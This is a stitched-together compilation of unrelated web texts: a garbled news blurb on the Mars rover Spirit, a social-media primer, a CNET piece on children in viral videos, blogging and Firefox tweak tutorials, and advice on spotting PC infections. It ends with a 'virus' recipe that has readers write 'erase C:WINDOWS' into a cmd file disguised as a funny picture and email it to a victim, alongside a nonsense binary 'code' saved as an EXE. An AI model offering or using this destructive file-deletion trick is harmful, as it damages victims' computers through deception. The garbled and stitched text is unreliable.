Spirit is an unfortunate robot that is stuck in the sand on Mars last year, but sedentary in their months has made a great discovery: evidence of subsurface water on the planet.
Recall that the Spirit ended its mission in 2004 and was embarked on an extra task, but in April 2009 was stuck in the sand. While he tried to leave, followed jammed and seven months after it broke a second round. Now is a scientist as stationary.
To take advantage of the situation, they let this young scientists introduced an underground conduit for sampling. The tests varied compositions found in the soil layers under the Spirit, insoluble materials near the surface and soluble below. This has led scientists to believe that there is water in the form of frozen or melted snow on the Martian surface.
Our friend is in hibernation while supporting the hard winter and as soon as possible (in March) shall operate its solar panels.
Internet forums are the longest established form of onlinesocial media. They most commonly exist around specific topics and interests, for example cars or music. Each discussion in a forum is known as a thread, and many different threads can be active simultaneously.This makes forums good places to find and engage in a variety of detailed discussions. They are often built into websites as an added feature, but some exist as stand-alone entities. Forums can be places for lively, vociferous debate, for seeking advice on a subject, for sharing news, for flirting, or simply for whiling away time with idle chat. In other words, their huge variety reflects that of face-to-face conversations.
The sites are moderated by an administrator, whose role it is to remove unsuitable posts or spam. However, a moderator will not lead or guide the discussion. This is a major difference between forums and blogs. Blogs have a clear owner, whereas a forum’s threads are started by its members. Forums have a strong sense of community. Some are very enclosed, existing as ‘islands’ of online social activity with little or no connection to other forms of social media. This may be because forums were around long before the term ‘social media’ was coined, and in advance of any of the other types of community we associate with the term. In any event, they remain hugely popular, often with membership in the hundreds of thousands. Forum search engine BoardTracker monitors over 61 million conversation threads across almost 40,000 forums8, and it is by no means a comprehensive index.
Wikis are websites that allow people to contribute or edit content on them. They are great for collaborative working, for instance creating a large document or project plan with a team in several offices. A wiki can be as private or as open as the people who create it want it to be.
The most famous wiki is of course Wikipedia, an online encyclopaedia that was started in 2001. It now has over 2.5 million articles in English alone6 and over a million members. In 2005 the respected scientific journal Nature conducted a study7 into the reliability of the scientific entries in Wikipedia and Encyclopaedia Britannica. No one was surprised that Encyclopaedia Britannica was the more reliable of the two – what was remarkable was that it was only marginally more accurate. The Encyclopedia Britannica team issued a 20-page rebuttal of the study a few months later.
Others observed that while Encyclopaedia Britannica had no entries for wiki, Wikipedia has a 2,500 word article on Encyclopaedia Britannica, its history and methodology. But Wikipedia is more than a reference source. During a major breaking news story, especially one which affects large numbers of people directly, such a natural disaster or political crisis, Wikipedia acts as a collective reporting function.
Trying out wikis…
Everyone knows Wikipedia, here are some other examples of large wiki projects that you can take a look at and even participate in:
Wikia
A community of wikis on different subjects
wikiHow
A practical ‘how to’ manual for everything from making coffee to writing business plans
Wikinews
Wikipedia’s news project
You can start your own public wiki in the Wikia community, or look at the technology’s possibilities for team working by trying out the services from companies like JotSpot and Socialtext.
Social networks on the web are like contained versions of the sprawling blog network. People joining a social network usually create a profile and then build a network by connecting to friends and contacts in the network, or by inviting real-world contacts and friends to join the social network.These communities retain the interest of their members by being useful to them and providing services that are entertaining or help them to expand their networks. MySpace, for instance, allows members to create vivid, chaotic home pages (they’ve been likened to the walls of a teenager’s bedroom) to which they can upload images, videos and music.
MYSPACE
MySpace has built a lot of its popularity around its music services. There are said to be over three million bands and musicians registered on it, trying to attract a fan base from the 200 million registered accounts. According to Hitwise, in September 2006 MySpace was the 8th largest referrer of traffic to HMV.co.uk, more even than the MSN search engine.
FACEBOOK
In 2007, Facebook, a social network that originated in US colleges, became available for public use in the UK. Its popularity quickly rocketed.Part of Facebook’s success is its creators’ decision to ‘open up’ and allow anyone to develop applications and run them on Facebook - without charging them. This has seen Facebook users able to play each other at Scrabble and Chess, compare each others’ tastes and send ‘virtual gifts’, among any number of new ideas vying for attention.
BEBO
Bebo, which is popular among school-age children, actually has the most members, perhaps helped by the fact that it is grouped around schools and colleges.Crucially, the growth in the use of social networks by young people in recent years has come at the expense of their consumption of traditional media such as TV and magazines. This switch in behaviour was one of the drivers behind the biggest deal in social media to date, when Rupert Murdoch bought MySpace for US $580 million. Marketers have also increasingly begun to experiment with trying to reach the members of MySpace and other social networks. Bebo hosts pages for many children’s authors for instance, while MySpace has seen a rush of marketing efforts from Toyota to the US Army.
Perhaps the most ‘grown-up’ of the popular networks is LinkedIn, which allows users build their business and professional contacts into an online network. It has been criticised for not being open enough and for charging for too many of its services – but next to Facebook it is still the most popular online social network among people aged 25 and over. The huge success of the ‘opening up’ of Facebook,as mentioned above, could be a challenge to LinkedIn’s ‘closed’ approach in the future.
Now let’s take a look at each of the main types of social media, and how they work. These explanations are intentionally very general, because with social media every rule seems to have an exception. In fact, among the defining characteristics of social media are the blurring of definitions, rapid innovation, reinvention and mash-ups. Each explanation also has a section on how to try out that form of social media yourself, with pointers on both how to find social media that’s relevant to you and how you might go about creating it. If you want to really understand how social media works, there’s no better way than to take part in it.
Mash-ups the combination of two or more pieces of content (or software, or websites) is one of the phenomena in social media that make it at once so exciting, fast-moving and sometimes bewildering. Mash-ups are possible because of the openness of social media – many websites and software developers encourage people to play with their services and reinvent them.
There are literally hundreds of mash-ups of the Google Earth service, where people have attached information to parts of the maps. For instance there is a UK rail service mash-up where you can track in real time where trains are on the map. Fans of the TV series 24 have mapped locations from the shows’ plotlines on to a Google Earth map.
A popular type of mash-up cannibalises different pieces of content, typically videos and music. Popular videos on YouTube can spawn hundreds of imitations, homages and (frequently) comic reinterpretations. In communities like this, the number of mash-ups a piece of content spawns is often an indicator of its popularity.
At this time, there are basically six kinds of social media. Note, though, that innovation and change are rife.
Social networks these sites allow people to build personal web pages and then connect with friends to share content and communication. The biggest social networks are MySpace, Facebook and Bebo.
Blogs perhaps the best known form of social media, blogs are online journals, with entries appearing with the most recent first.
Wikis these websites allow people to add content to or edit the information on them, acting as a communal document or database. The best-known wiki is Wikipedia4, the online encyclopaedia which has over 2 million English language articles.
Podcasts audio and video files that are available by subscription, through services like Apple iTunes.
Forums areas for online discussion, often around specific topics and interests. Forums came about before the term “social media” and are a powerful and popular element of online communities.
Content communities communities which organise and share particular kinds of content. The most popular content communities tend to form around photos (Flickr), bookmarked links (del.icio.us) and videos (YouTube).
Microblogging social networking combined with bite-sized blogging, where small amounts of content (‘updates’) are distributed online and through the mobile phone network. Twitter is the clear leader in this field.
A 10-minute YouTube video called "The Yippity Yo Cooking Show" falls somewhere to the left of "Saturday Night Live" at its most surreal: The host, "Zaylee Jean," alternates between extreme seriousness and manic outbursts, with diction so slurred that it's subtitled (in the cartoonish Comic Sans font).
Among other antics, she smears the mix for a batch of chocolate chip cookies all over her face, nibbles ingredients off the counter, and routinely pauses to scream something like "I LOVE COOKIES!" at the top of her lungs. A key point: Zaylee Jean is 3 years old. The plucky toddler in a flowered sundress and wispy blond ponytail has become YouTube's most unlikely new hit, with a steady cult following of offbeat hipsters fast propelling it to the milestone of 100,000 views. Like so many videos of cherubic youngsters before her, the clip can prompt a dual reaction: on one hand, she's delightful; on the other, in a few years when Zaylee enters the social Hades known as "middle school," the video will likely still be there. "We definitely wouldn't have a problem taking it down in two seconds," said Zaylee's 30-something dad, who goes by Zane -- he prefers not to make the family name public -- in an interview with CNET. "We did this for fun and love. It's not about fame and fortune."
But videos like "Yippity Yo" don't come without a hefty dose of criticism and controversy. When online videos of a kid become unexpected viral sensations, the parents are subject to perceptions, warranted or otherwise, that they're engaging in a kind of Digital Age "stage parenting" in which kids are being pushed into the spotlight, child-actor style. "My daughter and I just did this on a whim," said Zane. "On a Saturday, we bought some chocolate chips and I found an old one-hour unused video tape and pulled out the video camera. She'd wanted to do this for so long." Zane says that Zaylee's safety was his top priority throughout the creation of the video, which he originally intended to just share with family and close friends, and that he was more or less flabbergasted when it became a cult hit on YouTube. "We had an e-mail from a (television) producer," he told CNET.
"I'm just skeptical. We're in Minnesota; it's not like we're stage parents out to exploit our kid on YouTube ... I've seen comments saying my wife and I should be arrested for child endangerment. I think we're kind people."
Blogs about parenting, many of them deeply personal, have become a huge sensation with readers and advertisers alike. Many of their authors have also become known for espousing strong opinions about how to raise kids. And with that popularity comes the invariable question of how much,
if at all, children should be exposed in the process -- an issue of both safety and good taste. Some parenting bloggers don't shy away from bringing their kids into their blogging lives: Ree Drummond, author of the wildly successful "Confessions of a Pioneer Woman" blog and spin-off cookbook, uses frequent, beautifully crafted photographs to accompany stories about her four children (she affectionately calls them her "punks") and their life on a ranch in Oklahoma. On the other hand, Catherine Sanderson, who turned her expat-themed blog Petite Anglaise into a memoir and a novel, referred to her young daughter by the codename of "Tadpole" and did not post pictures.
Christine Koh, editor of BostonMamas.com, does not post photos that reveal her daughter's face and doesn't post pictures of her husband either. But she says it's usually an issue of personal preference rather than right and wrong.
n a photograph from several decades ago, the author of this blog post poses in a costume that now makes her eternally glad that YouTube didn't exist in the '80s. "I think I might have a higher filter than some people," Koh told CNET. "I feel like there are two things that help guide what I post, and one thing is, if it were me, if I were my daughter looking at this 10 years from now or if I were in her position as an adult, what would I feel reading about this stuff?...(Second), if I get a real twinge that something feels wrong about posting on a particular topic, I don't do it. Some things I've even consulted with my husband about because they're a bit sensitive." Liz Gumbinner, the woman behind Cool Mom Picks and Mom 101, told CNET that it's usually tough to make judgment calls when it comes to bloggers talking about their kids or parents putting family videos online.
"I don't think it's easy to say what single line can be drawn, because I think every kid is different," Gumbinner, who has two daughters aged three and five, told CNET. "When I put my children on my blog, I'm always asking them, 'Are you OK with this? Do you like this? Are you happy with this?' But also as a parent I have to look out for their safety, and their well-being, and the greater impact in their social life to come." It's especially complicated because many of the most popular YouTube videos of kids were not made by parenting bloggers who have been carefully crafting their family story over time, but by parents like Zane who honestly didn't think that anyone would find them on a site where 24 hours of video is uploaded every minute.
This was indeed the case for the kid who's quite likely the biggest YouTube star under the age of 10: little David DeVore, who at the age of seven was videotaped sitting in the back seat of his parents' car, freaking out on the aftereffects of knockout drugs given to him during dental surgery earlier that day. "David After Dentist" now has more than 57 million views on YouTube, and DeVore's father, also named David, has built a Web site in which he sells T-shirts and chronicles media hits. He's now raised more than $6,000 for charity and is hoping to also raise eventual college tuition for David, who is now nine years old.
DeVore (the dad) said he taped the video of his son a year before it ever hit YouTube and that he'd hoped to use it to show David that the dentist's office is nothing to be scared of. "It was a pretty big deal for him, getting surgery and everything," DeVore told CNET. "I'd just gotten a Flip video camera and I wanted to show David afterward that it hadn't been so bad after all...I just didn't know how funny it was going to be." Over the following months, DeVore said he asked his son what he would think about putting the video on YouTube. A typically outgoing kid, David concurred. "The fact that I even taped it at all was really because of David's personality," DeVore said. "If he were a sensitive child or was embarrassed easily or didn't see the humor in things, I wouldn't have taped it from the beginning." Reactions to "David After Dentist" ranged from people who say it's the video they watch whenever they need a pick-me-up on a stressful day to critics who say it's in poor taste.
Among those critics is Koh, who said that "David After Dentist" left her "a little bit horrified." As she told CNET, "That dentist video really tweaked a nerve because that's something where the child is in a vulnerable position...At one point he starts screaming. I had to hop off because I could not take it anymore." Critics may be a little reassured by DeVore's assertion that David himself thinks the video is hilarious and that the kid is happy to talk about it, too. "He wants to make a video responding to it, saying that his parents are good parents and that we didn't do anything wrong," DeVore explained.
David's schoolmates know him as the kid from the video, but DeVore said they don't particularly care. Their attention spans have long since moved on. Regardless, DeVore says that the reaction to "David After Dentist" made him think about child fame in a new way. "After the video, our experience probably caused me to pause for a few extra minutes. Like with the Falcon Heene thing," he said, referring to the infamous "Balloon Boy" incident in which a 6-year-old's parents, gunning for a reality-show deal, claimed that the child had flown away in a homemade hot-air balloon.
"It sure looked like a prank to me, but people were quick to judge us, so I decided to give them the benefit of the doubt." He paused and chuckled. "That ran out pretty quick." 'Scarface' goes to grade school More recently, the Web was captivated by a YouTube video that depicted elementary school students performing the "Say hello to my little friend" machine gun scene from "Scarface," except with a massive pile of popcorn on the table instead of a mount of cocaine, and the substitution of "fudging" for that other word that begins with an F. It's pulled in well over 3 million views. As it turns out, it wasn't actually a full-fledged school production of "Scarface" but an orchestrated parody by a music video director who had hired child actors.
DeVore said that this was another instance where he became one of the critics. "I respect the creativity and how the guy went about it and all that and the fact that these were child actors maybe toned it down a bit for me, but it still kind of makes me cringe a little bit," he said. Zaylee Jean's father brought up the "Scarface" video, too, saying, "I was a bit shocked." But when speaking about their respective kids' YouTube fame, Zane and DeVore both bring up a strong point: these critics don't know them personally and yet are more or less telling them how to raise their kids. And that can be even worse than the claims that the naysayers make. "It should be discussed," DeVore said. "We don't shy away from the controversy, we just look at it as an opportunity to explain it. We're a bit biased and admittedly think ours is kind of unique. I think that if people just sit down and talk to us, they'll see that David's handling it well and that's usually the reaction that we get."
"You just have to let it roll off your back," Zane said. "The safety of the kid, I think that's the number one thing." Mom blogger Gumbinner says that the debate over how much of a kid's life to share online is something that's changing now that social media has made its full transition from early-adopter and youth craze to an element of mainstream family life. "We're going to have to learn, as parents, how to talk about the Internet and anonymity very early, because that's part of life and it goes well beyond putting your kid on YouTube," Gumbinner said. "This is one piece of the story of how we're going to have to nurture and protect our kids going forward in a world of technology."
Google Sitemaps is a tool that lets you notify Google every time you update your blog so that they return to index it. Will Google sitemaps help increase your ranking? The answer is yes!
In the "Add Site box," enter the URL to your blog, and hit ok.
You will then be asked to verify your site. You should receive a message that says, "Your site has been added to your account. Verify your ownership to view detailed statistics and errors for it."
Follow the next steps and verify your site.
Google offers two methods of verification. You might want to choose the Meta tag option.
You will then be given a META Tag. Copy the META tag listed and paste it in the section of your blog, before the first section.
Once you've added the Meta tag to your template, click on the verify button. If you have placed it in the wrong section the system will tell you.
Once you've verified your blog, it will take you to summary. Part of the display will include:
Potential indexing problems:
Some of your pages are partially indexed. [?] We do not know about all the pages of your site. Submit a Sitemap to tell us more about your site.
The only drawback to using xml-sitemaps.com is that you will need to update your sitemap if you add a lot of pages to your blog, therefore you might want to submit your site feed url.
In the "Choose type pull down list", select "Add General Web Sitemap."
You'll then see a box that says, " My Sitemap URL is:"
Into the box for Sitemap URL, paste your Site Feed URL or the location of where you've uploaded the sitemap that you created and click "Add Web Sitemap."
Tip: If your blog is hosted on your own domain then upload the map to the "public_html/" folder of your site.
You’ll need to encode the url to the path of your sitemap when pinging Google. This URL Encoder tool http://www.automapit.com/urlencoder.html will help you convert your URL to the proper format.
To see if Google has cached your blog, simply type cache: http://yourblogaddress into Google search.
Log into Facebook and click Posted Items in the left-hand sidebar. If you don't see it click on more. You will then see a page titled 'My Friends' Posted Items." On the right it will say "Post a link." Paste your blog url in and press the “Post” button. You can then customize your link.
Firefox is in my opinion the best browser ever made until now. It includes:
improved tabbed browsing
pop up blocking
integrated Goggle search
enhanced privacy controls
built-in phishing protection
online spell checking
lots of themes, interfaces, and extensions/addons
Mozilla Firefox officially supports:
Microsoft Windows
Linux
Mac OS X
Unofficial Support:
Free BSD
OS/2
Solaris
SkyOS
BeOS
XP Professional x64 Edition
Now here are some Tips Tricks that can help you double the speed of Firefox.
Type about:config in the address bar and then press Enter.
In the filter search bar type network.http.pipelining. Be sure the value field is set true,if not double-click to set true. HTTP is the application-layer protocol that most web pages are transferred with. In HTTP 1.1, multiple requests can be sent before any responses are received. This is known as pipelining. Pipelining reduces page loading times, but not all servers support it.
Go back to the filter search bar and type network.http.pipelining.maxrequests. Double-click this option and set its value to 8.
In the filter search bar and type network.http.proxy.pipelining. Once opened doubleclick on it and set it to true.
In IPv6-capable DNS servers, an IPv4 address may be returned when an IPv6 address is requested. It is possible for Mozilla to recover from this misinformation, but a significant delay is introduced. Type network.dns.disableIPv6 in the filter search bar and set this option to trueby double clicking on it.
CONTENT INTERRUPT PARSING This preference controls if the application will interrupt parsing a page to respond to UI events. It does not exist by default. Right-click (Apple users ctrl-click) anywhere in the about:config window, select New and then Boolean from the pop-up menu. Then: * Enter content.interrupt.parsing in the New boolean value pop-up window and click OK * When prompted to choose the value for the new boolean, select true and click OK.
Rather than wait until a page has completely downloaded to display it to the user, Mozilla applications will regularly render what has been received to that point. This option controls the maximum amount of time the application will be unresponsive while rendering pages. Right-click (Apple users ctrl-click) anywhere in the about:config window, select New and then Integer from the pop-up menu. A. Enter content.max.tokenizing.time in the New integer value pop-up window and click OK B. You will be prompted to enter a value. Enter 2250000 and click OK.
CONTENT NOTIFY INTERVAL This option sets the minimum amount of time to wait between reflows. Right-click (Apple users ctrl-click) anywhere in the about:config window, select New and then Integer from the pop-up menu. A. Type content.notify.interval in the New integer value pop-up window and click OK. B. You will be prompted to enter a value. Enter 750000 and click OK.
CONTENT NOTIFY ONTIMER A. This option sets if to reflow pages at an interval any higher than that specified by content.notify.interval. Right-click (Apple users ctrl-click) anywhere in the about:config window and select New and then Boolean from the pop-up menu. B. Type content.notify.ontimer in the New boolean value pop-up window and click OK. C. You will be prompted to choose the value for the new boolean. Select true and click OK.
Notify Backoffcount This option controls the maximum number of times the content will do timer-based reflows. After this number has been reached, the page will only reflow once it is finished downloading. Right-click (Apple users ctrl-click) anywhere in the about:config window and select New and then Integer from the pop-up menu. A. Enter content.notify.backoffcount in the New integer value pop-up window and click OK. B. You will be prompted to enter a value. Enter 5 and click OK.
CONTENT SWITCH THRESHOLD You can interact with a loading page when content.interrupt.parsing is set to true. When a page is loading, the application has two modes: a high frequency interrupt mode and a low frequency interrupt mode. The first one interrupts the parser more frequently to allow for greater UI responsiveness during page load. The low frequency interrupt mode interrupts the parser less frequently to allow for quicker page load. The application enters high frequency interrupt mode when you move the mouse or type on the keyboard and switch back to low frequency mode when you had no activity for a certain amount of time. This preference controls that amount of time. Right-click (Apple users ctrl-click) anywhere in the about:config window and select New and then Integer from the pop-up menu. A. Enter content.switch.threshold in the New integer value pop-up window and click OK. B. You will be prompted to enter a value. Enter 750000 and click OK.
NGLAYOUT INITIALPAINT DELAY Mozilla applications render web pages incrementally, they display what’s been received of a page before the entire page has been downloaded. Since the start of a web page normally doesn’t have much useful information to display, Mozilla applications will wait a short interval before first rendering a page. This preference controls that interval. Rightclick (Apple users ctrl-click) anywhere in the about:config window and select New and then Integer from the pop-up menu. A. Enter nglayout.initialpaint.delay in the New integer value pop-up window and click OK. B. You will be prompted to enter a value. Enter 0 and click OK.
Remember to Close and ReStart Firefox for the New Settings to take effect
You can also get the Fasterfox extension for performance and network tweaks from:download here
about:cache?device=disk — Lists disk cache entries.
about:cache-entry — Shows information about a cache entry. Used in about:cache links. Requires parameters.
about:config — GUI for modifying user preferences (prefs.js).
about:credits — The list of contributors to the Mozilla projects.
about:logo — Displays the Mozilla logo (Mozilla Suite only).
about:license — shows the Mozilla Public License and the Netscape Public License for the piece of software. ( Only in products based on Gecko 1.8 ).
about:mozilla — The famous Book of Mozilla.
about:plugins — Lists all your plugins as well as other useful information.
Advanced Tips for Tabbed Browsing
Home Page as tabs : Instead of just one web page as your homepage, you can make your home page several pages. Select your favorite web sites and open them in a set of tabbed windows. Go to Tools -> Options and select 'General'. Under 'Home Page', press the 'Use Current Pages' button. Now when you hit the Home button on the Navigation toolbar, your favorite web sites will load with just one click.
Bookmarking a set of tabs :You can bookmark a set of tabs when selecting 'Bookmark This Page' or Ctrl+D Check the 'Bookmark all tabs in a folder' checkbox to store all the tabs in the current window into a Bookmark Folder.
More shortcuts : While it's easy to select tabs with a mouse, you can also cycle through tabs using the keyboard: use Ctrl+PgUp (or Ctrl+Tab) and Ctrl+PgDn (or Shift+Ctrl+Tab). You can also select the first tab by pressing Ctrl+1, and so on up to the 9th tab with Ctrl+9. If you have a middle mouse button, click it on a tab to close the tab.
Some more Tips about Firefox
We always backup our Favorites in Firefox, so that whenever we reinstall the browser we can safely restore them without ne problem. (If u don't know how to backup favorites? Goto: Bookmarks -> Manage Bookmarks..., It'll open Bookmarks Manager. Then goto: File -> Export... & save them.)
Now come to the point. The thing is that whenever we reinstall firefox we have to restore them by applying same process as we do 4 backing up them (use Import instead of Export). And one more thing we HIV to also backup our current bookmarks when we r planning to reinstall the browser. So the trick is that we can define our custom Bookmark path in firefox , so that we don't need to import or export them.
Type about:config in address bar of browser, right-click & create a new String value, named browser.bookmarks.file and set its value to the path where u have backed up your favorites. Now firefox always update it automatically whenever u add or delete your bookmarks, so no need to continuously take backup.
Second trick is very useful. Many times u have noticed that when u minimize the firefox windows & again restore it, it takes some time to restore. This trick reduces this delay.
Same thing, type about:config in the address bar of firefox, right-click & create a new Boolean value, named config.trim_on_minimize & set its value to false. It'll prevent delays when restoring the window.
If you've let your guard down--or even if you haven't--it can be hard to tell if your PC is infected. Here's what to do if you suspect the worst.
Heard this one before? You must run antivirus software and keep it up to date or else your PC will get infected, you'll lose all your data, and you'll incur the wrath of every e-mail buddy you unknowingly infect because of your carelessness.
You know they're right. Yet for one reason or another, you're not running antivirus software, or you are but it's not up to date. Maybe you turned off your virus scanner because it conflicted with another program. Maybe you got tired of upgrading after you bought Norton Antivirus 2001, 2002, and 2003. Or maybe your annual subscription of virus definitions recently expired, and you've put off renewing.
It happens. It's nothing to be ashamed of. But chances are, either you're infected right now, as we speak, or you will be very soon.
For a few days in late January, the Netsky.p worm was infecting about 2,500 PCs a day. Meanwhile the MySQL bot infected approximately 100 systems a minute (albeit not necessarily desktop PCs). As David Perry, global director of education for security software provider Trend Micro, puts it, "an unprotected [Windows] computer will become owned by a bot within 14 minutes."
Today's viruses, worms, and so-called bots--which turn your PC into a zombie that does the hacker's bidding (such as mass-mailing spam)--aren't going to announce their presence. Real viruses aren't like the ones in Hollywood movies that melt down whole networks in seconds and destroy alien spacecraft. They operate in the background, quietly altering data, stealing private operations, or using your PC for their own illegal ends. This makes them hard to spot if you're not well protected.
Is Your PC "Owned?"
I should start by saying that not every system oddity is due to a virus, worm, or bot. Is your system slowing down? Is your hard drive filling up rapidly? Are programs crashing without warning? These symptoms are more likely caused by Windows, or badly written legitimate programs, rather than malware. After all, people who write malware want to hide their program's presence. People who write commercial software put icons all over your desktop. Who's going to work harder to go unnoticed?
Other indicators that may, in fact, indicate that there's nothing that you need to worry about, include:
* An automated e-mail telling you that you're sending out infected mail. E-mail viruses and worms typically come from faked addresses. * A frantic note from a friend saying they've been infected, and therefore so have you. This is likely a hoax. It's especially suspicious if the note tells you the virus can't be detected but you can get rid of it by deleting one simple file. Don't be fooled--and don't delete that file.
I'm not saying that you should ignore such warnings. Copy the subject line or a snippet from the body of the e-mail and plug it into your favorite search engine to see if other people have received the same note. A security site may have already pegged it as a hoax.
Sniffing Out an Infection
There are signs that indicate that your PC is actually infected. A lot of network activity coming from your system (when you're not actually using Internet) can be a good indicator that something is amiss. A good software firewall, such as ZoneAlarm, will ask your permission before letting anything leave your PC, and will give you enough information to help you judge if the outgoing data is legitimate. By the way, the firewall that comes with Windows, even the improved version in XP Service Pack 2, lacks this capability.
To put a network status light in your system tray, follow these steps: In Windows XP, choose Start, Control Panel, Network Connections, right-click the network connection you want to monitor, choose Properties, check "Show icon in notification area when connected," and click OK.
If you're interested in being a PC detective, you can sniff around further for malware. By hitting Ctrl-Alt-Delete in Windows, you'll bring up the Task Manager, which will show you the various processes your system is running. Most, if not all, are legit, but if you see a file name that looks suspicious, type it into a search engine and find out what it is.
Want another place to look? In Windows XP, click Start, Run, type "services.msc" in the box, and press Enter. You'll see detailed descriptions of the services Windows is running. Something look weird? Check with your search engine.
Finally, you can do more detective work by selecting Start, Run, and typing "msconfig" in the box. With this tool you not only see the services running, but also the programs that your system is launching at startup. Again, check for anything weird.
If any of these tools won't run--or if your security software won't run--that in itself is a good sign your computer is infected. Some viruses intentionally disable such programs as a way to protect themselves.
What to Do Next
Once you're fairly sure your system is infected, don't panic. There are steps you can take to assess the damage, depending on your current level of protection.
* If you don't have any antivirus software on your system (shame on you), or if the software has stopped working, stay online and go for a free scan at one of several Web sites. There's McAfee FreeScan, Symantec Security Check, and Trend Micro's HouseCall. If one doesn't find anything, try two. In fact, running a free online virus scan is a good way to double-check the work of your own local antivirus program. When you're done, buy or download a real antivirus program.
* If you have antivirus software, but it isn't active, get offline, unplug wires-- whatever it takes to stop your computer from communicating via the Internet. Then, promptly perform a scan with the installed software.
* If nothing seems to be working, do more research on the Web. There are several online virus libraries where you can find out about known viruses. These sites often provide instructions for removing viruses--if manual removal is possible--or a free removal tool if it isn't. Check out GriSOFT's Virus Encyclopedia, Eset's Virus Descriptions, McAffee's Virus Glossary, Symantec's Virus Encyclopedia, or Trend Micro's Virus Encyclopedia.
A Microgram of Prevention
Assuming your system is now clean, you need to make sure it stays that way. Preventing a breach of your computer's security is far more effective than cleaning up the mess afterwards. Start with a good security program, such Trend Micro's PC-Cillin, which you can buy for $50.
Don't want to shell out any money? You can cobble together security through free downloads, such as AVG Anti-Virus Free Edition, ZoneAlarm (a personal firewall), and Ad-Aware SE (an antispyware tool).
Just make sure you keep all security software up to date. The bad guys constantly try out new ways to fool security programs. Any security tool without regular, easy (if not automatic) updates isn't worth your money or your time.
Speaking of updating, the same goes for Windows. Use Windows Update (it's right there on your Start Menu) to make sure you're getting all of the high priority updates. If you run Windows XP, make sure to get the Service Pack 2 update. To find out if you already have it, right-click My Computer, and select Properties. Under the General tab, under System, it should say "Service Pack 2."
Here are a few more pointers for a virus-free life:
* Be careful with e-mail. Set your e-mail software security settings to high. Don't open messages with generic-sounding subjects that don't apply specifically to you from people you don't know. Don't open an attachment unless you're expecting it.
* If you have broadband Internet access, such as DSL or cable, get a router, even if you only have one PC. A router adds an extra layer of protection because your PC is not connecting directly with the Internet.
* Check your Internet ports. These doorways between your computer and the Internet can be open, in which case your PC is very vulnerable; closed, but still somewhat vulnerable; or stealthed (or hidden), which is safest. Visit Gibson Research's Web site and run the free ShieldsUP test to see your ports' status. If some ports show up as closed--or worse yet, open--check your router's documentation to find out how to hide them.
What this virus does is completely and permanently delete Windows or Linux depending. Please read the caution at the top.Onto the trick. Follow the directions carefully. 1- Write The Following In Notepad Exactly as it says Code: 01001011000111110010010101010101010000011111100000 2- Save the file as an EXE (Click File-->Save as...-->and erase what ever is there and type in something like funnystuff.exe). 3- To test it, create a textfile called "TEST.txt"(just leave it blank) and save it in 'My Documents' or something in your C: drive. Now in a NEW notepad type "erase C:TEST.txt" (without the quotes). Then do "Save As..." and save it as "Test.cmd". Now run the file "Test.cmd" and go to C: and you'll see your Test.txt is gone. Now, the real work begins:
4- Go to Notpad and type "erase C:WINDOWS" (or C:LINUX if your targeted victim has linux) and save it again as funnypicture.cmd or something. 5- DON'T EVER run the file or you'll lose your WINDOWS map. So, that's the virus. 6- Send an email to your victim and attach the file "Funnypicture.cmd" or whatever you named it. When they open it, their Windows will be erased. Caution: This is a virus that can do alot of damage and sometimes cause the victim to rebuy Windows XP/Linux. Do NOT just use this because you are mad at a friend. I am in no way responible for anything you do
